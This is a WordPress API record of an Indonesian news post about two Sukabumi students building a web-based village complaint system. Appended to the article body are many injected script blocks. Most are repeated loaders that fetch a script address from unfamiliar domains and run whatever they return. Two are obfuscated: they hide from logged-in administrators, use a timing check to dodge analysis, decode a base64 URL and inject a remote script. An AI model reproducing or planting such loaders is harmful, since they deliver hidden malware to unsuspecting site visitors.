{"id":14087,"date":"2025-07-12T19:29:05","date_gmt":"2025-07-12T12:29:05","guid":{"rendered":"https:\/\/sukabumikita.id\/?p=14087"},"modified":"2025-07-12T19:29:05","modified_gmt":"2025-07-12T12:29:05","slug":"solutif-dan-inovatif-mahasiswa-sukabumi-rancang-sistem-pengaduan-desa-berbasis-web","status":"publish","type":"post","link":"https:\/\/id.sukabumikita.id\/?p=14087","title":{"rendered":"Solutif dan Inovatif, Mahasiswa Sukabumi Rancang Sistem Pengaduan Desa Berbasis Web"},"content":{"rendered":"<p><strong>id.sukabumikita.id\/<\/strong> \u2013 Kepedulian terhadap persoalan pelayanan publik di tingkat desa menginspirasi dua mahasiswi Universitas Muhammadiyah Sukabumi (UMMI) untuk berinovasi.<\/p>\n<p>Adalah Syalwa Fida Wifa dan Silvy Denia Putri, dua mahasiswi semester 6 yang sukses merancang aplikasi pengaduan masyarakat berbasis web untuk Desa Caringin, Kecamatan Gegerbitung, Kabupaten Sukabumi.<\/p>\n<p>Inovasi ini bukan sekadar proyek tugas kuliah. Berdasarkan survei yang dilakukan di lapangan, mereka menemukan bahwa mayoritas warga masih menyampaikan keluhan atau laporan secara konvensional\u2014baik langsung ke kantor desa maupun lewat aplikasi pesan instan seperti WhatsApp.<\/p>\n<p>\u201cMetode tersebut memang praktis, tapi sangat rentan terhadap masalah seperti kurangnya dokumentasi, lambatnya tindak lanjut, dan sulitnya pelacakan laporan,\u201d ungkap Syalwa, Sabtu (12\/07\/2025).<\/p>\n<p>Berangkat dari fakta tersebut, keduanya merancang sebuah sistem digital yang dapat memfasilitasi pengaduan warga secara sistematis, transparan, dan terdokumentasi dengan baik. Aplikasi ini memungkinkan warga menyampaikan laporan kapan saja dan dari mana saja, tanpa harus datang ke kantor desa.<\/p>\n<p>\u201cDengan aplikasi ini, laporan akan langsung tercatat secara digital. Warga bisa memantau status pengaduannya dan menerima notifikasi jika ada tanggapan dari perangkat desa,\u201d jelas Silvy menambahkan.<\/p>\n<p>Aplikasi tersebut telah dilengkapi dengan fitur-fitur utama seperti:<\/p>\n<ul>\n<li>Formulir pengaduan online<\/li>\n<li>Pelacakan status laporan<\/li>\n<li>Notifikasi balasan dari pihak desa<\/li>\n<\/ul>\n<p>Saat ini, aplikasi masih dalam tahap uji coba terbatas. Pihak pemerintah Desa Caringin menyambut baik gagasan tersebut dan telah memberi ruang untuk proses uji coba yang akan melibatkan perangkat desa dan sebagian warga.<\/p>\n<p>\u201cKami sudah ajukan ide ini ke pihak desa. Harapannya setelah uji coba, sistem ini bisa diterapkan secara penuh dan dikembangkan sesuai kebutuhan lokal,\u201d kata Syalwa.<\/p>\n<p>Inovasi ini menjadi contoh nyata bagaimana kolaborasi antara pengetahuan teknologi dan kepekaan sosial dapat melahirkan solusi konkret bagi masyarakat. Di tengah tantangan digitalisasi desa, langkah yang diambil Syalwa dan Silvy menunjukkan bahwa mahasiswa tidak hanya bisa belajar, tapi juga membawa perubahan.<script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 10_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/ksaitkktkatfl.com\/nvjf');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 10_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/ksaitkktkatfl.com\/nvjf');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 10_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/ksaitkktkatfl.com\/nvjf');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 10_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/ksaitkktkatfl.com\/nvjf');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>id.sukabumikita.id\/ \u2013 Kepedulian terhadap persoalan pelayanan publik di tingkat desa menginspirasi dua mahasiswi Universitas Muhammadiyah Sukabumi (UMMI) untuk berinovasi. Adalah Syalwa Fida Wifa dan Silvy Denia Putri, dua mahasiswi semester 6 yang sukses merancang aplikasi pengaduan masyarakat berbasis web untuk Desa Caringin, Kecamatan Gegerbitung, Kabupaten Sukabumi. Inovasi ini bukan sekadar proyek tugas kuliah. Berdasarkan survei [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":14089,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[29],"tags":[],"class_list":["post-14087","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sukabumi"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=\/wp\/v2\/posts\/14087","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=14087"}],"version-history":[{"count":0,"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=\/wp\/v2\/posts\/14087\/revisions"}],"wp:attachment":[{"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=14087"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=14087"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=14087"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}